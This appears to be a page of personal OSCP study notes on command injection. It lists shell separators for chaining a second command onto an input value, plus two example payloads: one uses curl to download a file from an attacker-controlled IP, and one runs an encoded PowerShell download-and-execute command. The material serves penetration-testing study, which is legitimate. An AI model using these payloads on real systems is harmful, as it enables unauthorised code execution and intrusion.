> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/command-injection.md).

# Command Injection

### Ways to obtain Command Injection

<pre><code><strong>&#x26;&#x26;
</strong><strong>%0a or \n (infront of the command, eg: ping=%0awhoami)
</strong>||
;
`command`
$(comand)
</code></pre>

### Examples

```
127.0.0.1 && curl.exe http://192.168.45.160/hello.txt -o hello.txt
127.0.0.1 && powershell -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiA...
```
